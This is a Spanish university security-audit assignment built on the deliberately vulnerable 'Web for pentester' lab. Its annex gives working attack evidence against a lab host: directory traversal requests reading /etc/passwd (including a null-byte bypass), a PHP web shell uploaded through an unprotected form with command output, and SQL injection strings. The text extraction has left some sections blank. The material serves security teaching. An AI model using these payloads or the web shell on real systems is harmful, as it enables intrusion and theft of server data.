Documentos de Académico
Documentos de Profesional
Documentos de Cultura
ENUNCIADO
• Informe de auditoría
En este ejercicio tomáis el papel del auditor jefe a cargo de elaborar el
informe de una auditoría.
Existe un equipo auditor del que sois el responsable y que está compuesto
por vosotros mismo y 1 experto en seguridad informática que ha realizado las
pruebas técnicas de la auditoría que se os ha encargado y se encontraban
detalladas en un plan de auditoría. Aunque no se facilita en este enunciado, el
Plan de Auditoría (se trataría de uno muy similar al presentado en el punto 4.1
del módulo 3 “Auditoría técnica de seguridad”), contendría la siguiente
información básica:
• La auditoría tiene como alcance únicamente un sistema (1 IP) en el que
corre una aplicación web. Esta aplicación se implementa toda en el mismo
sistema. Es decir en el mismo sistema corre tanto la capa de presentación
(servidor web Apache2), como la lógica de negocio (implementada en
lenguaje PHP) y el backend de base de datos (Mysql Server).
En un principio para el ejercicio NO se ha tomado una aplicación que tenga
sentido o una utilidad clara más allá del carácter pedagógico. De hecho se
trata de la aplicación “Web for pentester” del sitio web
www.pentesterlab.com. Esta aplicación facilita desde un homepage el
1
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
• Las pruebas se deben considerar que ya han sido realizadas por el experto
y han consistido en
o Ejecución de un escaneo del sistema con NMAP y los resultados los
presenta en el documento “ANEXO 1 – Resultado prueba de auditoría
<Análisis de puertos abiertos al sistema auditado>” (al final de este
documento)
o Ejecución de diversos escaneos de vulnerabilidades con la herramienta
NESSUS con dos políticas de escaneo (“policies”) creadas, la primera
basada en un escaneo de puertos y posibles vulnerabilidades de
aplicaciones web rápido, y el segundo un escaneo exhaustivo de
vulnerabilidades mediante comprobación remota y también local (se le
proporciona a Nessus credenciales para que pueda loggear en el
sistema y realizar verificaciones locales de parches y vulnerabilidades.
Los resultados nos los presenta en 2 documentos PDF
(ATC_2022_PEC4_ANEXO-nessus_report_web_app_vulns.pdf,
ATC_2022_PEC4_ANEXO-
nessus_report_Linux_local_and_remote_vunls.pdf) que genera la
2
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Al alumno que desee optar por la nota máxima se le propone completar las
pruebas técnicas sobre la aplicación y mostrar otras vulnerabilidades que el
experto no ha localizado manualmente y documentado. Asimismo, NO se pide
en este caso que se obtengan TODAS las vulnerabilidades de la aplicación ya
que son muchas y el informe resultante sería excesivamente largo. Por lo
tanto, en este caso se propone realizar las pruebas para identificar 1
vulnerabilidad de XSS (Cross Site Scripting) y 1 vulnerabilidad de inyección
de código PHP. Para ello, el alumno debe seguir los pasos descritos en el
ANEXO-3 para desplegar el laboratorio que contiene la aplicación a auditar
3
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
TRACEROUTE
HOP RTT ADDRESS
1 1.41 ms 192.168.137.131
4
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
5
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Directory Traversal
Script vulnerable “/dirtrav/example1.php” – Sin filtro de protección
Petición original:
Petición modificada
GET /dirtrav/example1.php?file=../../../../../../../etc/passwd
HTTP/1.1
Host: 10.10.4.6
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101
Firefox/20.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Evidencia:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 14:20:05 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze15
Cache-Control: public
Content-Disposition: inline; filename="passwd";
Content-Transfer-Encoding: binary
Vary: Accept-Encoding
Content-Length: 998
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
6
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
PHP dispone de un filtro de protección, por lo que en este caso hay que encadenar el
payload al final de la petición original
Petición original:
Petición modificada:
GET
/dirtrav/example2.php?file=/var/www/files/../../../../../../../../../.
./../../etc/passwd HTTP/1.1
Host: 10.10.4.6
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101
Firefox/20.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Parámetro:
file=/var/www/files/../../../../../../../../../../../../etc/passwd
Evidencia:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 14:11:19 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze15
Cache-Control: public
Content-Disposition: inline; filename="passwd";
Content-Transfer-Encoding: binary
Vary: Accept-Encoding
Content-Length: 998
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
7
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
Esta prueba se basa en que en el lado del servidor se incluye un byte de prefijo en el
payload para evitar esta vulnerabilidad. Por ejemplo:
Petición original:
Protección:
Caracter : ‰
En este caso, se debe utilizar el bypass de NULL BYTE para evadir esta protección. En
una URL el NULL BYTE se codifica %00
Así pues:
Petición original:
Petición modificada:
GET /dirtrav/example3.php?file=../../../../../../../etc/passwd%00
HTTP/1.1
Host: 10.10.4.6
8
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Evidencia:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 14:29:20 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze15
Cache-Control: public
Content-Disposition: inline; filename="passwd";
Content-Transfer-Encoding: binary
Vary: Accept-Encoding
Content-Length: 998
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
URL -Redirection
Script vulnerable /fileincl/example1.php – Sin filtro de protección
Petición original:
Petición modificada
9
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Evidencia:
Comentario:
File Upload
Script vulnerable /upload/example1.php – sin filtro de protección
Lo primero que se necesita es una web shell. En este caso, al tratarse de PHP
únicamente habrá que crear en nuestro equipo un documento X.php con el siguiente
código:
<?php
system($_GET["cmd"]);
?>
Después buscaremos algún sitio donde se puedan buscar ficheros, y a partir de ahí
subirlo al servidor y acceder a él y comprobar que nos permite ejecutar comandos
arbitrarios en el servidor con los permisos del usuario con que se ejecuta el apache.
10
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Petición original:
-----------------------------255071566828626
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/octet-stream
<?php
system($_GET['cmd']);
?>
-----------------------------255071566828626
Content-Disposition: form-data; name="send"
Send file
-----------------------------255071566828626—
Una vez esta subido, solo hay que acceder a él y ejecutarlo, y en este caso, trabajar
con el parámetro cmd:
Petición de acceso:
Petición modificada:
Evidencia:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 15:29:11 GMT
Server: Apache/2.2.16 (Debian)
11
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
X-Powered-By: PHP/5.3.3-7+squeeze15
Vary: Accept-Encoding
Content-Length: 77
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Linux debian 2.6.32-5-686 #1 SMP Mon Feb 25 01:04:36 UTC 2013 i686
GNU/Linux
Una de las maneras más sencillas, consiste en encadenar una extensión falsa detrás
de PHP. Apache no la sabrá interpretar y lo intentara con la inmediatamente
anterior, por lo que en este caso, nuestro fichero será X.PHP.TEST
Petición original
-----------------------------4499177401458
Content-Disposition: form-data; name="image";
filename="shell.php.test"
Content-Type: application/octet-stream
<?php
system($_GET['cmd']);
?>
-----------------------------4499177401458
Content-Disposition: form-data; name="send"
Send file
-----------------------------4499177401458--
GET /upload/images/shell.php.test?cmd=ls%20/../../../../../../
HTTP/1.1
Host: 10.10.4.6
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101
Firefox/20.0
12
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.4.6/upload/example2.php
Connection: keep-alive
Evidencias:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 15:43:10 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze15
Vary: Accept-Encoding
Content-Length: 107
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
bin
boot
dev
etc
home
initrd.img
lib
live
media
mnt
opt
proc
root
sbin
selinux
Sql Injections
Script vulnerable /sqli/example1.php – Sin filtro de protección
Petición original:
Respuesta original:
Parámetro:
Con el mismo ejemplo, aprovechando que hay una inyección, podemos realizar la
siguiente petición con el objetivo de obtener todo el listado de usuarios:
Parámetro:
14
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Name=*’or ‘1’=’1
Atención: En entornos con tablas muy grandes esto puede poner en riesgo el
entorno.
Evidencia:
Respuesta:
15
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Parámetro:
Name=*\tabuladorOR\tabulador’1’=1’
Evidencia:
16
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
Para la realización del último ejercicio de esta PEC, el alumno tiene la opción
de realizar por si mismo la ampliación de los resultados que el experto le ha
facilitado para la realización de la auditoría técnica.
Para ello, se facilita este anexo en el que se describe los pasos necesarios
para poder desplegar el laboratorio.
PRERREQUISITOS
Las siguientes instrucciones se han desarrollado en el siguiente entorno:
• CPU Intel Pentium Dual Core E2200 a 1,1GHz
• 2GB de RAM
• Sistema operativo Windows 7 Professional
Este entorno se puede considerar suficiente para poder desplegar todas las
herramientas que se necesitan.
Si el alumno dispone de un entorno diferente las instrucciones podrían variar
al igual que no se puede garantizar que vaya a ser capaz de poder desplegar
todas las herramientas que se mencionan. De todos modos el entorno que se
ha de desplegar no es demasiado exigente y es posible que con un equipo de
características inferiores también se pueda realizar la práctica completa.
SOFTWARE A INSTALAR
Se necesitará instalar:
• Ultima versión estable de NMAP:
http://nmap.org/download.html
• Ultima versión estable del entorno de virtualización VMplayer v7.1.4
(nota: existen versiones más modernas de VMplayer derivadas de la
versión VMware Workstation, o VirtualBox, sobre las que con mucha
probabilidad también funciona per que no ha sido probado al preparar
esta PEC, pero las capturas de pantalla corresponden a esta versión):
https://my.vmware.com/web/vmware/free#desktop_end_user_computi
ng/vmware_player/7_0|PLAYER-714|product_downloads
Para versiones más modernas:
https://my.vmware.com/web/vmware/free#desktop_end_user_computing/v
mware_workstation_player/15_0
Nota: podría ser que esta última URL no fuera exacta para la descarga
de VMware.
17
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
18
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
19
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
20
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
21
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
22
M1.810 · Auditoría Técnica · PAC4 – abril-2022
Máster Interuniversitario en Seguridad de las TIC
23